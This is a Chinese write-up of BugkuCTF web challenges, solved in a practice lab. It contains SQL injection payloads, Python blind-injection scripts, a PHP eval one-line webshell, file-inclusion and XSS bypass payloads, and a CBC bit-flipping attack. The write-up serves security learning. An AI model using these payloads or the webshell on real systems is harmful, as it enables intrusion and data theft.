---恢复内容开始---

找到了个ctf平台。里面的web挺多的。终于将web题目写的差不多了。

Web

签到题

加群就可以了

Web2

直接F12就看到了

文件上传测试

Burp抓包

文件名改成 1.jpg.php 即可

计算题

F12 改长度限制即可

Web3

阻止一直弹框,然后源代码

解码下就可以了

Sql注入

右键源代码,看到gb2312 易想到宽字节注入

爆出数据库:

结合题目,得flag

SQL注入1

Sql语句:$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

可以用%00绕过关键字过滤

爆出数据库:

Flag :

你必须让他停下

Burp抓包

返回的包图片不一样. Intruder 多次试试

随便构造没用的参数发送就行了

根据length 查看就行了

本地包含

源代码

eval存在命令执行漏洞,构造出文件包含

Base64解码即可

后来得知可以这么写。

积累太少。

变量1

源代码

(和“百度杯”CTF比赛(二月场)题目一致)

提示flag在变量里。正则匹配只能大小写字符和数字。 eval("var_dump($$args);");打印出变量的值。 利用超全局数组 GLOBALS 可以打印出所有变量。

Web4

右键源代码 看见了一串js代码 先URL解码



就是拼接 67d709b2b54aa2aa648cf6e87a7114f1 提交

Web5

右键源代码,将JSfuck代码扔进F12控制台

flag在index里

点下链接http://120.24.86.145:8005/post/index.php?file=show.php

发现File参数 易想到文件包含漏洞

PAYLOAD:http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

Base64解码



phpcmsV9

利用注册页面的漏洞试试能不能getshell。显示操作失败。

所以只能先利用sql注入,注入出后台账号和密码。网上有很多注入exp。



花了一毛解密 a123456

在后台可以直接看到我们在注册页面上传的shell ,原来只是没回显。 菜刀连上去即可



海洋CMS

利用网上已经知道的漏洞。

根据提示,列出目录开始找。



输入密码查看flag

根据提示 用BURP爆破

前女友

点链接看到源代码

利用PHP md5()漏洞与strcmp()漏洞

成绩单

容易看出考SQL注入

爆表:-1' union select 1,table_name,3,4 from information_schema.tables where TABLE_SCHEMA='skctf_flag' LIMIT 0,1

爆字段:-1' union select 1,column_name,3,4 from information_schema.columns where TABLE_SCHEMA='skctf_flag' and table_name='fl4g' LIMIT 0,1#

Flag:-1' union select 1,skctf_flag,3,4 from fl4g#

Web3



Flag base64解码后还有base64的字符 在解码 。 是串数字。根据提示就是要把那串数字POST过去 ,要短时间内。Python脚本:

!usr/bin/env python

!coding=utf-8

author = 'zhengjim'

import requests

import base64

url ='http://120.24.86.145:8002/web6/'

r =requests.session()

headers = r.get(url).headers

key = base64.b64decode(base64.b64decode(headers['flag']).split(':')[1])

data={'margin':key}

print r.post(url=url,data=data).content

cookies欺骗??

点进来URL

http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

a2V5cy50eHQ=解码是keys.txt 所以替换成base64后的index.php。Line是行数

遍历获得源代码

得到源代码后,看出,构造cookie margin=margin 然后读keys.php即可

xss

过滤<> 用\u003cscript\u003ealert(key)\u003c/script\u003e 可绕过



never give up

发现提示1p.html 访问1p.html后发现了一串WORDS 解码。有串base64解码 。在url解码







直接访问即可(出题人应该是忘记屏蔽了-。-)



正解应该是

welcome to bugkuctf

看源代码:

txt参数的 File_get_contents() 利用php://input 来绕过 file 的include() 文件包含

读出hint.php 解码后:

在读flag.php,结果提示不给flag 于是读下index.php

发现正则匹配file 不能包含flag

看到这段代码及hint.php类有个 __toString()构造函数,可以构造password的序列化。然后反序列读出flag.php文件





login1



根据提示 就是注册一个admin a 的账号

然后就可以重置admin密码,后登入即可。

过狗一句话

看提示 猜测 indexphp 就是shell 于是直接利用

各种绕过哟

根据源代码 GET 一个unname 和POST一个 passwd 值不能相等 sha1要相等 ,提交数组。Sha1()均返回null 绕过



Web8

根据源代码

extract 可以将$_GET数组的值转为变量,默认是如果有冲突,则覆盖已有的变量。

File_get_contents() 利用php://input绕过。

字符?正则?

一步步跟着匹配即可,[:punct:]是匹配任何标点符号

考细心

看主页404,但和真正的404页面不一样,没什么发现,于是试了下robots.txt 发现了resusl.php文件。

本来以为是伪造IP,然后注入得到password,提交。然后均失败了。 试了下?x=admin 出现flag。。。

求getshell

上传题。 各种方法尝试。发现是后缀名黑名单检测和类型检测

php别名:php2, php3, php4, php5, phps, pht, phtm, phtml 均试下。

发现php5绕过

上面的Content-Type的值 大小写绕过



flag.php

点了没反应,提示:hint 多次尝试 发现GET一个hint就有源代码

审计代码,要传一个cookie名为ISecer 的反序列的值。并且反序列后的值要全相等于”$KEY”

这里要注意是有双引号。

而且$KEY的传值的此之后的。所以反序列的值不是’ISecer:www.isecer.com’。

我们要得到的值是string(0) "" 所以序列化该值即可。



Web15

给了源代码

是INSERT INTO的注入,并且不能有’,’否则会吃掉后面的语句

Payload:

11'+(select case when (substring((select flag from flag ) from {0} for 1 )='{1}') then sleep(4) else 1 end ) and '1'='1

Python脚本

import requests

import string

url="http://120.24.86.145:8002/web15/"

allString=string.lowercase + string.uppercase + string.digits

flag=""

for i in range(1,33):

for str1 in allString:

data="11'+(select case when (substring((select flag from flag ) from {0} for 1 )='{1}') then sleep(4) else 1 end ) and '1'='1".format(str(i),str1)

# print data

headers={"x-forwarded-for":data}

try:

res=requests.get(url,headers=headers,timeout=3)

except requests.exceptions.ReadTimeout, e:

flag += str1

print flag

break

print 'flag:' + flag

文件包含2

看见file想到文件包含,php://filter/read=convert.base64-encode/resource=hello.php

失败。

右键源代码,发现有个upload.php上传。所以上传一个带一句话木马的图片包含即可。

‘’这两个被过滤了。换个姿势上传~

<?=eval($_POST['cmd']);

成功连接

sql注入2

根据题目sql注入 试了好久好久,于是请教他人。。。结果大牛说访问下flag 就行了。巨坑!

wordpress

登入后台。根据这个构造账号密码 sun sun19980321

看到隐藏文章

经人提醒才知道,是数据库

找到http://wp.bugku.com/phpmyadmin/ 登入

Login3

过滤了空格 or and where + * union ,%0a %0b 等等

测试得出用 ^

Payload

import requests

url = 'http://47.93.190.246:49167/index.php'

r = requests.Session()

result = ''

for i in range(1,33):

for j in range(37,127):

payload = "admin1'^(ascii(mid((password)from({0})))>{1})#".format(str(i),str(j))

print payload

data = {"username":payload,"password":"asd"}

html = r.post(url,data=data)

if "password error!" in html.content:

result += chr(j)

print result

break

print result

跑出MD5解密 登入即可

login4

看到登入框就试试有没有注入,源代码泄露。 发现.index.php.swp 存在

恢复成源码。 根据提示,知道了是利用cbc字符翻转攻击。

原理看文章:http://wooyun.jozxing.cc/static/drops/tips-7828.html

首先先post username = ‘qdmin’ password=’1’ 会得到一个iv cipher



利用CBC字节翻转攻击将qdmin 的q 改成 a 后加密得到cipher。

替换cookie[cipher]的值 访问。



反序列化失败。 原因是第一个块数据(16字节)被破坏了。因为要username要等于admin所以不能利用文章里的说的填充字符。 又因为是第一个块数据被破坏,第一个块数据是和IV有关,所以只要将在CBC字符翻转攻击,得到新的IV就可以修复第一块数据。

代入vi即可

BUGKUctf-web-writeup的更多相关文章

  1. ISG 2018 Web Writeup

    作者:agetflag 原文来自:ISG 2018 Web Writeup ISG 2018 Web Writeup CTF萌新,所以写的比较基础,请大佬们勿喷,比赛本身的Web题也不难 calc 首 ...

  2. BugkuCTF web基础$_POST

    前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...

  3. BugkuCTF web基础$_GET

    前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...

  4. [SHA2017](web) writeup

    [SHA2017](web) writeup Bon Appétit (100) 打开页面查看源代码,发现如下 自然而然想到php伪协议,有个坑,看不了index.php,只能看 .htaccess ...

  5. [WUST-CTF]Web WriteUp

    周末放假忙里偷闲打了两场比赛,其中一场就是武汉科技大学的WUST-CTF新生赛,虽说是新生赛,题目质量还是相当不错的.最后有幸拿了总排第5,记录一下Web的题解. checkin 进入题目询问题目作者 ...

  6. BugkuCTF~Mobile~WriteUp

    最近,开始记录一篇关于 Android 逆向分析的 WriteUp 方便有需要的人学习,也欢迎大家相互交流, 发现不 一样的世界. 一. signin 考点:反编译.静态分析 Topic Link:h ...

  7. 南京邮电大学//bugkuCTF部分writeup

    WEB 1.签到题 nctf{flag_admiaanaaaaaaaaaaa} 右键查看源代码或按f12即可. 2.这题不是web nctf{photo_can_also_hid3_msg} 下载图片 ...

  8. BugkuCTF WEB

    web2 打开链接,一大堆表情 查看源代码 得到 flag 文件上传测试 打开链接 选择 1 个 jpg 文件进行上传,用 burp 抓包改包 将 php 改为 jpg,发包 得到 flag 计算器 ...

  9. BugkuCTF~Misc~WriteUp

    1.签到 get flag: Qftm{You should sign in} 2.这是一张单纯的图片 查看图片十六进制 提去特殊字符串进行解码 get flag: key{you are right ...

  10. BuuCTF Web Writeup

    WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> ...

随机推荐

  1. HTML表单基本格式与代码

    咱们先来看下今天咱们需要学习的内容,理解起来很简单,像我这种英语不好的只是需要背几个单词 在HTML中创建表单需要用到的最基本的代码和格式 <form method="post/get ...

  2. T-SQL语句中的转换函数

    书接上回 前面讲了聚合函数.字符串函数 今天一起来看下转换函数 首先是 值类型转换 ),degree) 在C#里面是convert,现在在SQL中也是他,convert(转换类型,被转换列)from ...

  3. 接触响应式-css3-media判断屏幕分辨率

    // IE6.7.8不支持css3    使用响应式一般用bootstrap框架(IE8使用时须引用Respond.js)而不用原生JS 外联式: <link type="text/c ...

  4. STM8驱动HX711

    普及:HX711AD一款专为高精度电子秤而设计的 24 位 A/D 转换器芯片:                 获取数据方法:两个普通IO      DOUT输入:GPIO_Mode_In_FL_N ...

  5. JavaScript中的数据结构及实战系列(1):队列

    开题 张三丰教无忌太极剑法: 还记得吗? 全都记得. 现在呢? 已经忘却了一小半. 啊,已经忘了一大半. 不坏不坏,忘得真快,那么现在呢? 已经全都忘了,忘得干干净净. 好了,你上吧. 长时间写前端代 ...

  6. Lucene工作原理

    Lucene是一个高性能的java全文检索工具包,它使用的是倒排文件索引结构.该结构及相应的生成算法如下: 0)设有两篇文章1和2 文章1的内容为:Tom lives in Guangzhou,I l ...

  7. 导出Mysql数据库中的数据

    使用mysqldump 指令: D:\>mysqldump -u root -proot bookStore>bookStore.sql

  8. 【lucene系列学习三】用socke把lucene做成一个web服务并实现多线程

    首先,参考http://www.cnblogs.com/itlqs/p/6104672.html和http://www.cnblogs.com/itlqs/p/6079301.html 然后,Loca ...

  9. Servlet追忆篇:那些年一起学习的Servlet

    title: servlet notebook: javaWEB tags:servlet --- Servlet是什么? Servlet是JavaWeb的三大组件之一. 作用类似银行前台接待: 接收 ...

  10. Spring Cloud 学习笔记(二)——Netflix

    4 Spring Cloud Netflix Spring Cloud 通过自动配置和绑定到Spring环境和其他Spring编程模型惯例,为Spring Boot应用程序提供Netflix OSS集 ...